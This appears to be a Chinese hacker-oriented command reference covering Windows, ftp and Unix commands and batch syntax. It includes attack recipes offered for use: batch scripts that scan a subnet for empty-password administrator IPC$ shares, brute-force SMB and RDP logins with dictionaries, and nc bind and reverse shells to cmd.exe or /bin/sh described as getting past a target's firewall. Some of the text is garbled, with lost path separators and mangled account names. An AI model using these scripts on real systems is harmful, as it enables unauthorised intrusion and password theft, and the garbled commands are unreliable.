顯示或修改文件訪問控制列表（acl）——針對ntfs格式時。參數(shù)：/d 用戶名:設(shè)定拒絕某用戶訪問；/p 用戶名:perm 替換指定用戶的訪問權(quán)限；/g 用戶名:perm 賦予指定用戶訪問權(quán)限；perm 可以是: n 無，r 讀取， w 寫入， c 更改(寫入)，f 完全控制；例：cacls d: est.txt /d pub 設(shè)定d: est.txt拒絕pub用戶訪問。cacls 文件名 查看文件的訪問用戶權(quán)限列表rem 文本內(nèi)容 在批處理文件中添加注解netsh 查看或更改本地網(wǎng)絡(luò)配置情況#4 四：iis服務(wù)命令：iisreset /reboot 重啟win2k計算機（但有提示系統(tǒng)將重啟信息出現(xiàn)）iisreset /start或stop 啟動（停止）所有internet服務(wù)iisreset /restart 停止然后重新啟動所有internet服務(wù)iisreset /status 顯示所有internet服務(wù)狀態(tài)iisreset /enable或disable 在本地系統(tǒng)上啟用（禁用）internet服務(wù)的重新啟動iisreset /rebootonerror 當(dāng)啟動、停止或重新啟動internet服務(wù)時，若發(fā)生錯誤將重新開機iisreset /noforce 若無法停止internet服務(wù)，將不會強制終止internet服務(wù)iisreset /timeout val在到達(dá)逾時間（秒）時，仍未停止internet服務(wù)，若指定/rebootonerror參數(shù)，則電腦將會重新開機。預(yù)設(shè)值為重新啟動20秒，停止60秒，重新開機0秒。ftp 命令： (后面有詳細(xì)說明內(nèi)容)ftp的命令行格式為:ftp －v －d －i －n －g[主機名] －v 顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息。－d 使用調(diào)試方式。－n 限制ftp的自動登錄,即不使用.netrc文件。－g 取消全局文件名。help [命令] 或 ？[命令] 查看命令說明bye 或 quit 終止主機ftp進程,并退出ftp管理方式.pwd 列出當(dāng)前遠(yuǎn)端主機目錄put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠(yuǎn)端主機中g(shù)et 或 recv [遠(yuǎn)程主機文件名] [下載到本地后的文件名] 從遠(yuǎn)端主機中傳送至本地主機中mget [remote-files] 從遠(yuǎn)端主機接收一批文件至本地主機mput local-files 將本地主機中一批文件傳送至遠(yuǎn)端主機dir 或 ls [remote-directory] [local-file] 列出當(dāng)前遠(yuǎn)端主機目錄中的文件.如果有本地文件,就將結(jié)果寫至本地文件ascii 設(shè)定以ascii方式傳送文件(缺省值)bin 或 image 設(shè)定以二進制方式傳送文件bell 每完成一次文件傳送,報警提示cdup 返回上一級目錄close 中斷與遠(yuǎn)程服務(wù)器的ftp會話(與open對應(yīng))open host[port] 建立指定ftp服務(wù)器連接,可指定連接端口delete 刪除遠(yuǎn)端主機中的文件mdelete [remote-files] 刪除一批文件mkdir directory-name 在遠(yuǎn)端主機中建立目錄rename [from] [to] 改變遠(yuǎn)端主機中的文件名rmdir directory-name 刪除遠(yuǎn)端主機中的目錄status 顯示當(dāng)前ftp的狀態(tài)system 顯示遠(yuǎn)端主機系統(tǒng)類型user user-name [password] [account] 重新以別的用戶名登錄遠(yuǎn)端主機open host [port] 重新建立一個新的連接prompt 交互提示模式macdef 定義宏命令lcd 改變當(dāng)前本地主機的工作目錄,如果缺省,就轉(zhuǎn)到當(dāng)前用戶的home目錄chmod 改變遠(yuǎn)端主機的文件權(quán)限case 當(dāng)為on時,用mget命令拷貝的文件名到本地機器中,全部轉(zhuǎn)換為小寫字母cd remote－dir 進入遠(yuǎn)程主機目錄cdup 進入遠(yuǎn)程主機目錄的父目錄! 在本地機中執(zhí)行交互shell，exit回到ftp環(huán)境,如!ls＊.zip
cp 復(fù)制文件mv 移動文件rm 文件名 刪除文件，rm -a 目錄名刪除目錄及子目錄mkdir 目錄名 建立目錄rmdir 刪除子目錄，目錄內(nèi)沒有文檔。chmod 設(shè)定檔案或目錄的存取權(quán)限grep 在檔案中查找字符串diff 檔案文件比較find 檔案搜尋date 現(xiàn)在的日期、時間who 查詢目前和你使用同一臺機器的人以及l(fā)ogin時間地點w 查詢目前上機者的詳細(xì)資料whoami 查看自己的帳號名稱groups 查看某人的grouppasswd 更改密碼history 查看自己下過的命令ps 顯示進程狀態(tài)kill 停止某進程gcc 黑客通常用它來編譯c語言寫的文件su 權(quán)限轉(zhuǎn)換為指定使用者telnet ip telnet連接對方主機（同win2k），當(dāng)出現(xiàn)bash$時就說明連接成功。ftp ftp連接上某服務(wù)器（同win2k）附：批處理命令與變量1：for命令及變量 基本格式：for /參數(shù) %variable in (set) do command [command_parameters] %variable:指定一個單一字母可替換的參數(shù)，如：%i ，而指定一個變量則用：%%i ，而調(diào)用變量時用：%i% ，變量是區(qū)分大小寫的（%i 不等于 %i）。批處理每次能處理的變量從%0—%9共10個，其中%0默認(rèn)給批處理文件名使用，%1默認(rèn)為使用此批處理時輸入的的第一個值，同理：%2—%9指輸入的第 2-9個值；例：net use \ipipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3(set):指定一個或一組文件，可使用通配符，如：(d:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一個"1"指起始值，第二個"1"指增長量，第三個"254"指結(jié)束值，即：從1到254；“(1 -1 254)”說明：即從254到1 }command：指定對第個文件執(zhí)行的命令，如：net use命令；如要執(zhí)行多個命令時，命令這間加：& 來隔開command_parameters：為特定命令指定參數(shù)或命令行開關(guān)in (set)：指在(set)中取值；do command ：指執(zhí)行command參數(shù)：/l 指用增量形式{ (set)為增量形式時 }；/f 指從文件中不斷取值，直到取完為止{ (set)為文件時，如(d:pass.txt)時 }。用法舉例：@echo offecho 用法格式：test.bat *.*.* > test.txtfor /l %%g in (1 1 254) do echo %1.%%g >>test.txt & net use \%1.%%g /user:***istrator | find "命令成功完成" >>test.txt存為test.bat 說明：對指定的一個c類網(wǎng)段的254個ip依次試建立***istrator密碼為空的ipc$連接，如果成功就把該ip存在test.txt中。/l指用增量形式（即從1-254或254-1）；輸入的ip前面三位：*.*.*為批處理默認(rèn)的 %1；%%g 為變量(ip的最后一位）；& 用來隔開echo 和net use 這二個命令；| 指建立了ipc$后，在結(jié)果中用find查看是否有"命令成功完成"信息；%1.%%g 為完整的ip地址；(1 1 254) 指起始值，增長量，結(jié)止值。@echo offecho 用法格式：ok.bat ipfor /f %%i in (d:user.dic) do smb.exe %1 %%i d:pass.dic 200存為：ok.exe 說明：輸入一個ip后，用字典文件d:pass.dic來暴解d:user.dic中的用戶密碼，直到文件中值取完為止。%%i為用戶名；%1為輸入的ip地址（默認(rèn)）。http://www.jz5u.com#7 七：2：if命令及變量 基本格式：if [not] errorlevel 數(shù)字 命令語句 如果程序運行最后返回一個等于或大于指定數(shù)字的退出編碼，指定條件為“真”。例：if errorlevel 0 命令 指程序執(zhí)行后返回的值為0時，就值行后面的命令；if not errorlevel 1 命令指程序執(zhí)行最后返回的值不等于1，就執(zhí)行后面的命令。0 指發(fā)現(xiàn)并成功執(zhí)行（真）；1 指沒有發(fā)現(xiàn)、沒執(zhí)行（假）。if [not] 字符串1==字符串2 命令語句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就執(zhí)行后面的命令。例：“if "%2%"=="4" goto start”指：如果輸入的第二個變量為4時，執(zhí)行后面的命令（注意：調(diào)用變量時就%變量名%并加" "）if [not] exist 文件名 命令語句 如果指定的文件名存在，就執(zhí)行后面的命令。例：“if not nc.exe goto end”指：如果沒有發(fā)現(xiàn)nc.exe文件就跳到":end"標(biāo)簽處。if [not] errorlevel 數(shù)字 命令語句 else 命令語句或 if [not] 字符串1==字符串2 命令語句 else 命令語句或 if [not] exist 文件名 命令語句 else 命令語句 加上：else 命令語句后指：當(dāng)前面的條件不成立時，就指行else后面的命令。注意：else 必須與 if 在同一行才有效。當(dāng)有del命令時需把del命令全部內(nèi)容用< >括起來，因為del命令要單獨一行時才能執(zhí)行，用上< >后就等于是單獨一行了；例如：“if exist test.txt. <del test.txt.> else echo test.txt.missing ”，注意命令中的“.”（二）系統(tǒng)外部命令(均需下載相關(guān)工具)：1、瑞士軍刀：nc.exe參數(shù)說明：-h 查看幫助信息-d 后臺模式-e prog程序重定向，一旦連接就執(zhí)行［危險］-i secs延時的間隔-l 監(jiān)聽模式，用于入站連接-l 監(jiān)聽模式，連接天閉后仍然繼續(xù)監(jiān)聽，直到ctr+c-n ip地址，不能用域名-o film記錄16進制的傳輸-p[空格]端口 本地端口號-r 隨機本地及遠(yuǎn)程端口-t 使用telnet交互方式-u udp模式-v 詳細(xì)輸出，用-vv將更詳細(xì)-w數(shù)字 timeout延時間隔-z 將輸入，輸出關(guān)掉（用于掃錨時）基本用法：nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80端口nc -l -p 80 開啟本機的tcp 80端口并監(jiān)聽nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024端口nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的tcp 5354端口nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell并反向連接192.168.0.2的5354端口高級用法：nc -l -p 80 作為蜜罐用1：開啟并不停地監(jiān)聽80端口，直到ctr+c為止nc -l -p 80 > c:log.txt 作為蜜罐用2：開啟并不停地監(jiān)聽80端口，直到ctr+c,同時把結(jié)果輸出到c:log.txtnc -l -p 80 < c:honeyport.txt 作為蜜罐用3-1：開啟并不停地監(jiān)聽80端口，直到ctr+c,并把c:honeyport.txt中內(nèi)容送入管道中，亦可起到傳送文件作用type.exe c:honeyport | nc -l -p 80 作為蜜罐用3-2：開啟并不停地監(jiān)聽80端口，直到ctr+c,并把c:honeyport.txt中內(nèi)容送入管道中,亦可起到傳送文件作用本機上用：nc -l -p 本機端口在對方主機上用：nc -e cmd.exe 本機ip -p 本機端口 *win2knc -e /bin/sh 本機ip -p 本機端口 *linux,unix 反向連接突破對方主機的防火墻本機上用：nc -d -l -p 本機端口 < 要傳送的文件路徑及名稱在對方主機上用：nc -vv 本機ip 本機端口 > 存放文件的路徑及名稱 傳送文件到對方主機備 注：| 管道命令< 或 > 重定向命令�！�<”，例如：tlntadmn < test.txt 指把test.txt的內(nèi)容賦值給tlntadmn命令＠ 表示執(zhí)行＠后面的命令，但不會顯示出來（后臺執(zhí)行）；例：＠dir c:winnt >> d:log.txt 意思是：后臺執(zhí)行dir，并把結(jié)果存在d:log.txt中>與>>的區(qū)別  ">"指：覆蓋；">>"指：保存到(添加到）。如：@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二個命令分別執(zhí)行二次比較看：用>>的則是把二次的結(jié)果都保存了，而用：>則只有一次的結(jié)果，是因為第二次的結(jié)果把第一次的覆蓋了。#8 八：2、掃錨工具：xscan.exe基本格式xscan -host <起始ip>[-<終止ip>] <檢測項目> [其他選項] 掃錨"起始ip到終止ip"段的所有主機信息xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機ip列表文件名"中的所有主機信息
用法示例tscrack 192.168.0.1 -l ***istrator -w pass.dic 遠(yuǎn)程用密碼字典文件暴破主機的***istrator的登陸密碼tscrack 192.168.0.1 -l ***istrator -p 123456 用密碼123456遠(yuǎn)程登陸192.168.0.1的***istrator用戶@if not exist ipcscan.txt goto noscan@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%inscan@echo 3389.txt no find or scan faild(①存為3389.bat) （假設(shè)現(xiàn)有用superscan或其它掃錨器掃到一批開有3389的主機ip列表文件3389.txt)3389.bat意思是：從3389.txt文件中取一個ip，接著運行hack.bat@if not exist tscrack.exe goto noscan@tscrack %1 -l ***istrator -w pass.dic >>rouji.txt:noscan@echo tscrack.exe no find or scan faild(②存為hack.bat) (運行3389.bat就ok，且3389.bat、hack.bat、3389.txt、pass.dic與tscrack.exe在同一個目錄下；就可以等待結(jié)果了)hack.bat意思是：運行tscrack.exe用字典暴破3389.txt中所有主機的***istrator密碼，并將破解結(jié)果保存在rouji.txt文件中。5、其它：shutdown.exeshutdown \ip地址 t:20 20秒后將對方nt自動關(guān)閉（windows 2003系統(tǒng)自帶工具，在windows2000下用進就得下載此工具才能用。在前面windows 2003 dos命令中有詳細(xì)介紹。）fpipe.exe (tcp端口重定向工具) 在第二篇中有詳細(xì)說明（端口重定向繞過防火墻）fpipe -l 80 -s 1029 -r 80www.sina.com.cn 當(dāng)有人掃錨你的80端口時，他掃到的結(jié)果會完全www.sina.com.cn的主機信息fpipe -l 23 -s 88 -r 23 目標(biāo)ip 把本機向目標(biāo)ip發(fā)送的23端口telnet請求經(jīng)端口重定向后，就通過88端口發(fā)送到目標(biāo)ip的23端口。（與目標(biāo)ip建立telnet時本機就用的 88端口與其相連接）然后：直接telnet 127.0.0.1（本機ip）就連接到目標(biāo)ip的23端口了。opentelnet.exe (遠(yuǎn)程開啟telnet工具)opentelnet.exe \ip 帳號 密碼 ntlm認(rèn)證方式 telnet端口 （不需要上傳ntlm.exe破壞微軟的身份驗證方式）直接遠(yuǎn)程開啟對方的telnet服務(wù)后，就可用telnet \ip 連接上對方。ntlm認(rèn)證方式：０：不使用ntlm身份驗證；１：先嘗試ntlm身份驗證，如果失敗，再使用用戶名和密碼；２：只使用ntlm身份驗證。resumetelnet.exe (opentelnet附帶的另一個工具)resumetelnet.exe \ip 帳號 密碼 用telnet連接完對方后，就用這個命令將對方的telnet設(shè)置還原，并同時關(guān)閉telnet服務(wù)。#10 十：6、ftp命令詳解：ftp命令是internet用戶使用最頻繁的命令之一，熟悉并靈活應(yīng)用ftp的內(nèi)部命令，可以大大方便使用者，并收到事半功倍之效。如果你想學(xué)習(xí)使用進行后臺ftp下載，那么就必須學(xué)習(xí)ftp指令。ftp的命令行格式為：ftp -v -d -i -n -g [主機名] ，其中-v 顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息；-n 限制ftp的自動登錄，即不使用；.n etrc文件；-d 使用調(diào)試方式；-g 取消全局文件名。ftp使用的內(nèi)部命令如下(中括號表示可選項):1.![cmd[args]]：在本地機中執(zhí)行交互shell，exit回到ftp環(huán)境，如：!ls*.zip2.$ macro-ame[args]： 執(zhí)行宏定義macro-name。3.account[password]： 提供登錄遠(yuǎn)程系統(tǒng)成功后訪問系統(tǒng)資源所需的補充口令。4.append local-file[remote-file]：將本地文件追加到遠(yuǎn)程系統(tǒng)主機，若未指定遠(yuǎn)程系統(tǒng)文件名，則使用本地文件名。5.ascii：使用ascii類型傳輸方式。6.bell：每個命令執(zhí)行完畢后計算機響鈴一次。7.bin：使用二進制文件傳輸方式。8.bye：退出ftp會話過程。9.case：在使用mget時，將遠(yuǎn)程主機文件名中的大寫轉(zhuǎn)為小寫字母。10.cd remote-dir：進入遠(yuǎn)程主機目錄。11.cdup：進入遠(yuǎn)程主機目錄的父目錄。12.chmod mode file-name：將遠(yuǎn)程主機文件file-name的存取方式設(shè)置為mode，如：chmod 777 a.out。13.close：中斷與遠(yuǎn)程服務(wù)器的ftp會話(與open對應(yīng))。14.cr：使用asscii方式傳輸文件時，將回車換行轉(zhuǎn)換為回行。15.delete remote-file：刪除遠(yuǎn)程主機文件。16.debug[debug-value]：設(shè)置調(diào)試方式， 顯示發(fā)送至遠(yuǎn)程主機的每條命令，如：deb up 3，若設(shè)為0，表示取消debug。17.dir[remote-dir][local-file]：顯示遠(yuǎn)程主機目錄，并將結(jié)果存入本地文件。18.disconnection：同close。19.form format：將文件傳輸方式設(shè)置為format，缺省為file方式。20.get remote-file[local-file]： 將遠(yuǎn)程主機的文件remote-file傳至本地硬盤的local-file。21.glob：設(shè)置mdelete，mget，mput的文件名擴展，缺省時不擴展文件名，同命令行的-g參數(shù)。22.hash：每傳輸1024字節(jié)，顯示一個hash符號(#)。23.help[cmd]：顯示ftp內(nèi)部命令cmd的幫助信息，如：help get。24.idle[seconds]：將遠(yuǎn)程服務(wù)器的休眠計時器設(shè)為[seconds]秒。25.image：設(shè)置二進制傳輸方式(同binary)。26.lcd[dir]：將本地工作目錄切換至dir。27.ls[remote-dir][local-file]：顯示遠(yuǎn)程目錄remote-dir， 并存入本地文件local-file。28.macdef macro-name：定義一個宏，遇到macdef下的空行時，宏定義結(jié)束。29.mdelete[remote-file]：刪除遠(yuǎn)程主機文件。30.mdir remote-files local-file：與dir類似，但可指定多個遠(yuǎn)程文件，如 ：mdir *.o.*.zipoutfile 。31.mget remote-files：傳輸多個遠(yuǎn)程文件。32.mkdir dir-name：在遠(yuǎn)程主機中建一目錄。33.mls remote-file local-file：同nlist，但可指定多個文件名。34.mode[modename]：將文件傳輸方式設(shè)置為modename， 缺省為stream方式。35.modtime file-name：顯示遠(yuǎn)程主機文件的最后修改時間。36.mput local-file：將多個文件傳輸至遠(yuǎn)程主機。37.newer file-name： 如果遠(yuǎn)程機中file-name的修改時間比本地硬盤同名文件的時間更近，則重傳該文件。38.nlist[remote-dir][local-file]：顯示遠(yuǎn)程主機目錄的文件清單，并存入本地硬盤的local-file。39.nmap[inpattern outpattern]：設(shè)置文件名映射機制， 使得文件傳輸時，文件中的某些字符相互轉(zhuǎn)換， 如：nmap ..[，].[，]，則傳輸文件a1.a2.a3時，文件名變?yōu)閍1，a2。 該命令特別適用于遠(yuǎn)程主機為非unix機的情況。40.ntrans[inchars[outchars]]：設(shè)置文件名字符的翻譯機制，如ntrans1r，則文件名lll將變?yōu)閞rr。41.open host[port]：建立指定ftp服務(wù)器連接，可指定連接端口。42.passive：進入被動傳輸方式。43.prompt：設(shè)置多個文件傳輸時的交互提示。44.proxy ftp-cmd：在次要控制連接中，執(zhí)行一條ftp命令， 該命令允許連接兩個ftp服務(wù)器，以在兩個服務(wù)器間傳輸文件。第一條ftp命令必須為open，以首先建立兩個服務(wù)器間的連接。45.put local-file[remote-file]：將本地文件local-file傳送至遠(yuǎn)程主機。46.pwd：顯示遠(yuǎn)程主機的當(dāng)前工作目錄。47.quit：同bye，退出ftp會話。48.quote arg1，arg2...：將參數(shù)逐字發(fā)至遠(yuǎn)程ftp服務(wù)器，如：quote syst.49.recv remote-file[local-file]：同get。50.reget remote-file[local-file]：類似于get， 但若local-file存在，則從上次傳輸中斷處續(xù)傳。51.rhelp[cmd-name]：請求獲得遠(yuǎn)程主機的幫助。52.rstatus[file-name]：若未指定文件名，則顯示遠(yuǎn)程主機的狀態(tài)， 否則顯示文件狀態(tài)。53.rename[from][to]：更改遠(yuǎn)程主機文件名。54.reset：清除回答隊列。55.restart marker：從指定的標(biāo)志marker處，重新開始get或put，如：restart 130。56.rmdir dir-name：刪除遠(yuǎn)程主機目錄。57.runique：設(shè)置文件名只一性存儲，若文件存在，則在原文件后加后綴.1， .2等。58.send local-file[remote-file]：同put。59.sendport：設(shè)置port命令的使用。60.site arg1，arg2...：將參數(shù)作為site命令逐字發(fā)送至遠(yuǎn)程ftp主機。61.size file-name：顯示遠(yuǎn)程主機文件大小，如：site idle 7200。62.status：顯示當(dāng)前ftp狀態(tài)www.jz5u.com63.struct[struct-name]：將文件傳輸結(jié)構(gòu)設(shè)置為struct-name， 缺省時使用stream結(jié)構(gòu)。64.sunique：將遠(yuǎn)程主機文件名存儲設(shè)置為只一(與runique對應(yīng))。65.system：顯示遠(yuǎn)程主機的操作系統(tǒng)類型。66.tenex：將文件傳輸類型設(shè)置為tenex機的所需的類型。67.tick：設(shè)置傳輸時的字節(jié)計數(shù)器。68.trace：設(shè)置包跟蹤。69.type[type-name]：設(shè)置文件傳輸類型為type-name，缺省為ascii，如:type binary，設(shè)置二進制傳輸方式。70.umask[newmask]：將遠(yuǎn)程服務(wù)器的缺省umask設(shè)置為newmask，如：umask 371.user user-name[password][account]：向遠(yuǎn)程主機表明自己的身份，需要口令時，必須輸入口令，如：user anonymous my@email。72.verbose：同命令行的-v參數(shù)，即設(shè)置詳盡報告方式，ftp 服務(wù)器的所有響 應(yīng)都將顯示給用戶，缺省為on.73.?[cmd]：同help.
   

• 通信詞典解釋